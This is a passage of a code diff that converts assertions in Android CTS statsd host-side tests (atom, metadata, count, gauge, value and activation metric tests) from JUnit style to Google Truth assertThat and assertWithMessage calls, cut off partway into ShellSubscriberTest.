+        Thread.sleep(WAIT_TIME_SHORT);
+
+        // Pull a report
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_SHORT);
+
+        int accessInstancesRecorded = 0;
+
+        for (Atom atom : getGaugeMetricDataList()) {
+            AppOps appOps = atom.getAppOps();
+            accessInstancesRecorded += appOps.getTrustedForegroundGrantedCount();
+        }
+
+        assertThat(accessInstancesRecorded).isAtLeast(1);
     }
 
     public void testANROccurred() throws Exception {
@@ -1297,14 +1324,15 @@
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = getEventMetricDataList();
 
-        assertEquals(1, data.size());
-        assertTrue(data.get(0).getAtom().hasAnrOccurred());
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
         ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
-        assertEquals(ANROccurred.InstantApp.FALSE_VALUE, atom.getIsInstantApp().getNumber());
-        assertEquals(ANROccurred.ForegroundState.FOREGROUND_VALUE,
-                atom.getForegroundState().getNumber());
-        assertEquals(ErrorSource.DATA_APP, atom.getErrorSource());
-        assertEquals(DEVICE_SIDE_TEST_PACKAGE, atom.getPackageName());
+        assertThat(atom.getIsInstantApp().getNumber())
+            .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+            .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertThat(atom.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
     }
 
     public void testWriteRawTestAtom() throws Exception {
@@ -1320,80 +1348,71 @@
         Thread.sleep(WAIT_TIME_SHORT);
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals(data.size(), 4);
+        assertThat(data).hasSize(4);
 
         TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
         List<AttributionNode> attrChain = atom.getAttributionNodeList();
-        assertEquals(2, attrChain.size());
-        assertEquals(1234, attrChain.get(0).getUid());
-        assertEquals("tag1", attrChain.get(0).getTag());
-        assertEquals(getUid(), attrChain.get(1).getUid());
-        assertEquals("tag2", attrChain.get(1).getTag());
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
+        assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
 
-        assertEquals(42, atom.getIntField());
-        assertEquals(Long.MAX_VALUE, atom.getLongField());
-        assertEquals(3.14f, atom.getFloatField());
-        assertEquals("This is a basic test!", atom.getStringField());
-        assertEquals(false, atom.getBooleanField());
-        assertEquals(TestAtomReported.State.ON_VALUE, atom.getState().getNumber());
-        List<Long> expIds = atom.getBytesField().getExperimentIdList();
-        assertEquals(3, expIds.size());
-        assertEquals(1L, (long) expIds.get(0));
-        assertEquals(2L, (long) expIds.get(1));
-        assertEquals(3L, (long) expIds.get(2));
+        assertThat(atom.getIntField()).isEqualTo(42);
+        assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(3.14f);
+        assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
+        assertThat(atom.getBooleanField()).isFalse();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+            .containsExactly(1L, 2L, 3L).inOrder();
+
 
         atom = data.get(1).getAtom().getTestAtomReported();
         attrChain = atom.getAttributionNodeList();
-        assertEquals(2, attrChain.size());
-        assertEquals(9999, attrChain.get(0).getUid());
-        assertEquals("tag9999", attrChain.get(0).getTag());
-        assertEquals(getUid(), attrChain.get(1).getUid());
-        assertEquals("", attrChain.get(1).getTag());
+        assertThat(attrChain).hasSize(2);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
+        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
+        assertThat(attrChain.get(1).getTag()).isEmpty();
 
-        assertEquals(100, atom.getIntField());
-        assertEquals(Long.MIN_VALUE, atom.getLongField());
-        assertEquals(-2.5f, atom.getFloatField());
-        assertEquals("Test null uid", atom.getStringField());
-        assertEquals(true, atom.getBooleanField());
-        assertEquals(TestAtomReported.State.UNKNOWN_VALUE, atom.getState().getNumber());
-        expIds = atom.getBytesField().getExperimentIdList();
-        assertEquals(3, expIds.size());
-        assertEquals(1L, (long) expIds.get(0));
-        assertEquals(2L, (long) expIds.get(1));
-        assertEquals(3L, (long) expIds.get(2));
+        assertThat(atom.getIntField()).isEqualTo(100);
+        assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
+        assertThat(atom.getFloatField()).isEqualTo(-2.5f);
+        assertThat(atom.getStringField()).isEqualTo("Test null uid");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+            .containsExactly(1L, 2L, 3L).inOrder();
 
         atom = data.get(2).getAtom().getTestAtomReported();
         attrChain = atom.getAttributionNodeList();
-        assertEquals(1, attrChain.size());
-        assertEquals(getUid(), attrChain.get(0).getUid());
-        assertEquals("tag1", attrChain.get(0).getTag());
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
+        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
 
-        assertEquals(-256, atom.getIntField());
-        assertEquals(-1234567890L, atom.getLongField());
-        assertEquals(42.01f, atom.getFloatField());
-        assertEquals("Test non chained", atom.getStringField());
-        assertEquals(true, atom.getBooleanField());
-        assertEquals(TestAtomReported.State.OFF_VALUE, atom.getState().getNumber());
-        expIds = atom.getBytesField().getExperimentIdList();
-        assertEquals(3, expIds.size());
-        assertEquals(1L, (long) expIds.get(0));
-        assertEquals(2L, (long) expIds.get(1));
-        assertEquals(3L, (long) expIds.get(2));
+        assertThat(atom.getIntField()).isEqualTo(-256);
+        assertThat(atom.getLongField()).isEqualTo(-1234567890L);
+        assertThat(atom.getFloatField()).isEqualTo(42.01f);
+        assertThat(atom.getStringField()).isEqualTo("Test non chained");
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList())
+            .containsExactly(1L, 2L, 3L).inOrder();
 
         atom = data.get(3).getAtom().getTestAtomReported();
         attrChain = atom.getAttributionNodeList();
-        assertEquals(1, attrChain.size());
-        assertEquals(getUid(), attrChain.get(0).getUid());
-        assertEquals("", attrChain.get(0).getTag());
+        assertThat(attrChain).hasSize(1);
+        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
+        assertThat(attrChain.get(0).getTag()).isEmpty();
 
-        assertEquals(0, atom.getIntField());
-        assertEquals(0L, atom.getLongField());
-        assertEquals(0f, atom.getFloatField());
-        assertEquals("", atom.getStringField());
-        assertEquals(true, atom.getBooleanField());
-        assertEquals(TestAtomReported.State.OFF_VALUE, atom.getState().getNumber());
-        expIds = atom.getBytesField().getExperimentIdList();
-        assertEquals(0, expIds.size());
+        assertThat(atom.getIntField()).isEqualTo(0);
+        assertThat(atom.getLongField()).isEqualTo(0L);
+        assertThat(atom.getFloatField()).isEqualTo(0f);
+        assertThat(atom.getStringField()).isEmpty();
+        assertThat(atom.getBooleanField()).isTrue();
+        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+        assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
     }
 
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index e92e7b2..4c0e4e6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.metadata;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.cts.statsd.atom.AtomTestCase;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -61,13 +63,14 @@
         for (ConfigStats stats: report.getConfigStatsList()) {
             if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
                 if(!stats.hasDeletionTimeSec()) {
-                    assertTrue("Found multiple active CTS configs!", foundActiveConfig == false);
+                    assertWithMessage("Found multiple active CTS configs!")
+                            .that(foundActiveConfig).isFalse();
                     foundActiveConfig = true;
                     creationTime = stats.getCreationTimeSec();
                 }
             }
         }
-        assertTrue("Did not find an active CTS config", foundActiveConfig);
+        assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
 
         while(System.currentTimeMillis() - startTime < 8_000) {
             Thread.sleep(10);
@@ -81,26 +84,29 @@
             if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
                 // Original config should be TTL'd
                 if (stats.getCreationTimeSec() == creationTime) {
-                    assertTrue("Config should have TTL'd but is still active",
-                            stats.hasDeletionTimeSec());
-                    assertTrue("Config deletion time should be about " + TTL_TIME_SEC +
-                            " after creation",
-                            Math.abs(stats.getDeletionTimeSec() - expectedTime) <= 2);
+                    assertWithMessage("Config should have TTL'd but is still active")
+                            .that(stats.hasDeletionTimeSec()).isTrue();
+                    assertWithMessage(
+                            "Config deletion time should be about %s after creation", TTL_TIME_SEC
+                    ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
                 }
                 // There should still be one active config, that is marked as reset.
                 if(!stats.hasDeletionTimeSec()) {
-                    assertTrue("Found multiple active CTS configs!", foundActiveConfig == false);
+                    assertWithMessage("Found multiple active CTS configs!")
+                            .that(foundActiveConfig).isFalse();
                     foundActiveConfig = true;
                     creationTime = stats.getCreationTimeSec();
-                    assertTrue("Active config after TTL should be marked as reset",
-                            stats.hasResetTimeSec());
-                    assertEquals("Reset time and creation time should be equal for TTl'd configs",
-                            stats.getResetTimeSec(), stats.getCreationTimeSec());
-                    assertTrue("Reset config should be created when the original config TTL'd",
-                            Math.abs(stats.getCreationTimeSec() - expectedTime) <= 2);
+                    assertWithMessage("Active config after TTL should be marked as reset")
+                            .that(stats.hasResetTimeSec()).isTrue();
+                    assertWithMessage("Reset and creation time should be equal for TTl'd configs")
+                            .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
+                    assertWithMessage(
+                            "Reset config should be created when the original config TTL'd"
+                    ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
                 }
             }
         }
-        assertTrue("Did not find an active CTS config after the TTL", foundActiveConfig);
+        assertWithMessage("Did not find an active CTS config after the TTL")
+                .that(foundActiveConfig).isTrue();
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 70777ef..4eeb74c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -15,6 +15,9 @@
  */
 package android.cts.statsd.metric;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.cts.statsd.atom.DeviceAtomTestCase;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -53,13 +56,13 @@
 
         StatsLogReport metricReport = getStatsLogReport();
         LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
-        assertTrue(metricReport.hasCountMetrics());
+        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
+        assertThat(metricReport.hasCountMetrics()).isTrue();
 
         StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
 
-        assertTrue(countData.getDataCount() > 0);
-        assertEquals(2, countData.getData(0).getBucketInfo(0).getCount());
+        assertThat(countData.getDataCount()).isGreaterThan(0);
+        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
     }
     public void testEventCountWithCondition() throws Exception {
         if (statsdDisabled()) {
@@ -112,13 +115,13 @@
         Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
 
         StatsLogReport metricReport = getStatsLogReport();
-        assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
-        assertTrue(metricReport.hasCountMetrics());
+        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
+        assertThat(metricReport.hasCountMetrics()).isTrue();
 
         StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
 
-        assertTrue(countData.getDataCount() > 0);
-        assertEquals(1, countData.getData(0).getBucketInfo(0).getCount());
+        assertThat(countData.getDataCount()).isGreaterThan(0);
+        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
     }
 
     public void testEventCountWithConditionAndActivation() throws Exception {
@@ -236,16 +239,16 @@
         Thread.sleep(2000);
 
         StatsLogReport metricReport = getStatsLogReport();
-        assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
+        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
         LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertTrue(metricReport.hasCountMetrics());
-        assertFalse(metricReport.getIsActive());
+        assertThat(metricReport.hasCountMetrics()).isTrue();
+        assertThat(metricReport.getIsActive()).isFalse();
 
         StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-        assertEquals(1, countData.getDataCount());
-        assertEquals(2, countData.getData(0).getBucketInfoCount());
-        assertEquals(2, countData.getData(0).getBucketInfo(0).getCount());
-        assertEquals(1, countData.getData(0).getBucketInfo(1).getCount());
+        assertThat(countData.getDataCount()).isEqualTo(1);
+        assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
+        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
+        assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
     }
 
     public void testPartialBucketCountMetric() throws Exception {
@@ -273,17 +276,14 @@
         ConfigMetricsReportList reports = getReportList();
         LogUtil.CLog.d("Got following report list: " + reports.toString());
 
-        assertEquals("Expected 2 reports, got " + reports.getReportsCount(),
-                2, reports.getReportsCount());
+        assertThat(reports.getReportsCount()).isEqualTo(2);
         boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
                 reports.getReports(1).getCurrentReportWallClockNanos();
 
         // Only 1 metric, so there should only be 1 StatsLogReport.
         for (ConfigMetricsReport report : reports.getReportsList()) {
-            assertEquals("Expected 1 StatsLogReport in each ConfigMetricsReport",
-                    1, report.getMetricsCount());
-            assertEquals("Expected 1 CountMetricData in each report",
-                    1, report.getMetrics(0).getCountMetrics().getDataCount());
+            assertThat(report.getMetricsCount()).isEqualTo(1);
+            assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
         }
         CountMetricData data1 =
                 reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
@@ -291,19 +291,20 @@
                 reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
         // Data1 should have only 1 bucket, and it should be a partial bucket.
         // The count should be 1.
-        assertEquals("First report should only have 1 bucket", 1, data1.getBucketInfoCount());
+        assertThat(data1.getBucketInfoCount()).isEqualTo(1);
         CountBucketInfo bucketInfo = data1.getBucketInfo(0);
-        assertEquals("First report should have a count of 1", 1, bucketInfo.getCount());
-        assertTrue("First report's bucket should be less than 1 day",
-                bucketInfo.getEndBucketElapsedNanos() <
-                (bucketInfo.getStartBucketElapsedNanos() + 1_000_000_000L * 60L * 60L * 24L));
+        assertThat(bucketInfo.getCount()).isEqualTo(1);
+        assertWithMessage("First report's bucket should be less than 1 day")
+                .that(bucketInfo.getEndBucketElapsedNanos())
+                .isLessThan(bucketInfo.getStartBucketElapsedNanos() + 
+                        1_000_000_000L * 60L * 60L * 24L);
 
         //Second report should have a count of 2.
-        assertTrue("Second report should have at most 2 buckets", data2.getBucketInfoCount() < 3);
+        assertThat(data2.getBucketInfoCount()).isAtMost(2);
         int totalCount = 0;
         for (CountBucketInfo bucket : data2.getBucketInfoList()) {
             totalCount += bucket.getCount();
         }
-        assertEquals("Second report should have a count of 2", 2, totalCount);
+        assertThat(totalCount).isEqualTo(2);
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
index 4bd5a2a..16c3baf 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
@@ -122,30 +122,30 @@
 
       StatsLogReport metricReport = getStatsLogReport();
       LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertEquals(MetricsUtils.GAUGE_METRIC_ID, metricReport.getMetricId());
-      assertTrue(metricReport.hasGaugeMetrics());
+      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
+      assertThat(metricReport.hasGaugeMetrics()).isTrue();
       StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
-      assertEquals(gaugeData.getDataCount(), 1);
+      assertThat(gaugeData.getDataCount()).isEqualTo(1);
 
       int bucketCount = gaugeData.getData(0).getBucketInfoCount();
       GaugeMetricData data = gaugeData.getData(0);
-      assertTrue(bucketCount > 2);
+      assertThat(bucketCount).isGreaterThan(2);
       MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
-      assertEquals(data.getBucketInfo(0).getAtomCount(), 1);
-      assertEquals(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel(), 0);
-      assertEquals(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState(),
-          AppBreadcrumbReported.State.START);
+      assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
+      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
+              .isEqualTo(0);
+      assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
+              .isEqualTo(AppBreadcrumbReported.State.START);
 
       MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
-      assertEquals(data.getBucketInfo(1).getAtomCount(), 1);
+      assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
 
       MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
-      assertEquals(data.getBucketInfo(bucketCount - 1).getAtomCount(), 1);
-      assertEquals(
-          data.getBucketInfo(bucketCount - 1).getAtom(0).getAppBreadcrumbReported().getLabel(), 2);
-      assertEquals(
-          data.getBucketInfo(bucketCount - 1).getAtom(0).getAppBreadcrumbReported().getState(),
-          AppBreadcrumbReported.State.STOP);
+      assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
+      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
+              .isEqualTo(2);
+      assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
+              .isEqualTo(AppBreadcrumbReported.State.STOP);
   }
 
   public void testPulledGaugeMetricWithActivation() throws Exception {
@@ -197,8 +197,8 @@
 
       StatsLogReport metricReport = getStatsLogReport();
       LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
-      assertEquals(MetricsUtils.GAUGE_METRIC_ID, metricReport.getMetricId());
-      assertFalse(metricReport.hasGaugeMetrics());
+      assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
+      assertThat(metricReport.hasGaugeMetrics()).isFalse();
   }
 
     public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index 803dd2e..b976678 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.metric;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.cts.statsd.atom.DeviceAtomTestCase;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -374,7 +376,7 @@
 
         ConfigMetricsReportList reportList = getReportList();
         List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertEquals(3, reports.size());
+        assertThat(reports).hasSize(3);
 
         // Report before restart.
         ConfigMetricsReport report = reports.get(0);
@@ -510,7 +512,7 @@
 
         ConfigMetricsReportList reportList = getReportList();
         List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
-        assertEquals(3, reports.size());
+        assertThat(reports).hasSize(3);
 
         // Report before restart.
         ConfigMetricsReport report = reports.get(0);
@@ -538,7 +540,7 @@
 
     private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
             int metric3Count) throws Exception {
-        assertEquals(3, report.getMetricsCount());
+        assertThat(report.getMetricsCount()).isEqualTo(3);
 
         verifyMetric(
                 report.getMetrics(0),   // StatsLogReport
@@ -563,17 +565,14 @@
     private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
             int dataCount) {
         LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
-        assertEquals(metricId, metricReport.getMetricId());
-        if (dataCount > 0) {
-            assertTrue(metricReport.hasEventMetrics());
-        } else {
-            assertFalse(metricReport.hasEventMetrics());
-        }
+        assertThat(metricReport.getMetricId()).isEqualTo(metricId);
+        assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
+
         StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
-        assertEquals(dataCount, eventData.getDataCount());
+        assertThat(eventData.getDataCount()).isEqualTo(dataCount);
         for (int i = 0; i < eventData.getDataCount(); i++) {
             AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
-            assertEquals(metricMatcherLabel, atom.getLabel());
+            assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
         }
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
index 2677634..7097587 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.metric;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import com.android.internal.os.StatsdConfigProto;
 import com.android.internal.os.StatsdConfigProto.AtomMatcher;
 import com.android.internal.os.StatsdConfigProto.EventActivation;
@@ -26,8 +28,6 @@
 import com.google.protobuf.Descriptors.Descriptor;
 import com.google.protobuf.Descriptors.FieldDescriptor;
 
-import static org.junit.Assert.assertTrue;
-
 public class MetricsUtils {
     public static final long COUNT_METRIC_ID = 3333;
     public static final long DURATION_METRIC_ID = 4444;
@@ -156,7 +156,8 @@
                    endMillis != null && bucketInfo.hasField(endMillis)) {
             found = true;
         }
-        assertTrue("Bucket info did not have either bucket num or start and end elapsed millis",
-                found);
+        assertWithMessage(
+                "Bucket info did not have either bucket num or start and end elapsed millis"
+        ).that(found).isTrue();
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
index 25c06e3..2b2eee7 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
@@ -94,22 +94,22 @@
 
     StatsLogReport metricReport = getStatsLogReport();
     LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
-    assertTrue(metricReport.hasValueMetrics());
+    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+    assertThat(metricReport.hasValueMetrics()).isTrue();
     StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertEquals(1, valueData.getDataCount());
+    assertThat(valueData.getDataCount()).isEqualTo(1);
 
     int bucketCount = valueData.getData(0).getBucketInfoCount();
-    assertTrue(bucketCount > 1);
+    assertThat(bucketCount).isGreaterThan(1);
     ValueMetricData data = valueData.getData(0);
     int totalValue = 0;
     for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
       MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertEquals(1, bucketInfo.getValuesCount());
-      assertEquals(0, bucketInfo.getValues(0).getIndex());
+      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
       totalValue += (int) bucketInfo.getValues(0).getValueLong();
     }
-    assertEquals(8, totalValue);
+    assertThat(totalValue).isEqualTo(8);
   }
 
   // Test value metric with pulled atoms and across multiple buckets
@@ -172,24 +172,24 @@
 
     StatsLogReport metricReport = getStatsLogReport();
     LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
-    assertTrue(metricReport.hasValueMetrics());
+    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+    assertThat(metricReport.hasValueMetrics()).isTrue();
     StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertEquals(valueData.getDataCount(), 1);
+    assertThat(valueData.getDataCount()).isEqualTo(1);
 
     int bucketCount = valueData.getData(0).getBucketInfoCount();
     // should have at least 2 buckets
-    assertTrue(bucketCount >= 2);
+    assertThat(bucketCount).isAtLeast(2);
     ValueMetricData data = valueData.getData(0);
     int totalValue = 0;
     for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
       MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertEquals(1, bucketInfo.getValuesCount());
-      assertEquals(0, bucketInfo.getValues(0).getIndex());
+      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
       totalValue += (int) bucketInfo.getValues(0).getValueLong();
     }
     // At most we lose one full min bucket
-    assertTrue(totalValue > (130_000 - 60_000));
+    assertThat(totalValue).isGreaterThan(130_000 - 60_000);
   }
 
   // Test value metric with pulled atoms and across multiple buckets
@@ -256,24 +256,24 @@
 
     StatsLogReport metricReport = getStatsLogReport();
     LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
-    assertTrue(metricReport.hasValueMetrics());
+    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+    assertThat(metricReport.hasValueMetrics()).isTrue();
     StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertEquals(valueData.getDataCount(), 1);
+    assertThat(valueData.getDataCount()).isEqualTo(1);
 
     int bucketCount = valueData.getData(0).getBucketInfoCount();
     // should have at least 2 buckets
-    assertTrue(bucketCount >= 2);
+    assertThat(bucketCount).isAtLeast(2);
     ValueMetricData data = valueData.getData(0);
     int totalValue = 0;
     for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
       MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertEquals(1, bucketInfo.getValuesCount());
-      assertEquals(0, bucketInfo.getValues(0).getIndex());
+      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
       totalValue += (int) bucketInfo.getValues(0).getValueLong();
     }
     // At most we lose one full min bucket
-    assertTrue(totalValue > (GAP_INTERVAL*NUM_EVENTS - 60_000));
+    assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
   }
 
   // Test value metric with pulled atoms and across multiple buckets
@@ -329,8 +329,8 @@
 
     StatsLogReport metricReport = getStatsLogReport();
     LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
-    assertFalse(metricReport.hasValueMetrics());
+    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+    assertThat(metricReport.hasValueMetrics()).isFalse();
   }
 
     public void testValueMetricWithConditionAndActivation() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
index f8aa3b7..f239f0e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.subscriber;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import com.android.compatibility.common.util.CpuFeatures;
 import com.android.internal.os.StatsdConfigProto;
 import com.android.os.AtomsProto;
@@ -79,7 +81,7 @@
         startSubscription(config, receiver, 10);
         byte[] output = receiver.getOutput();
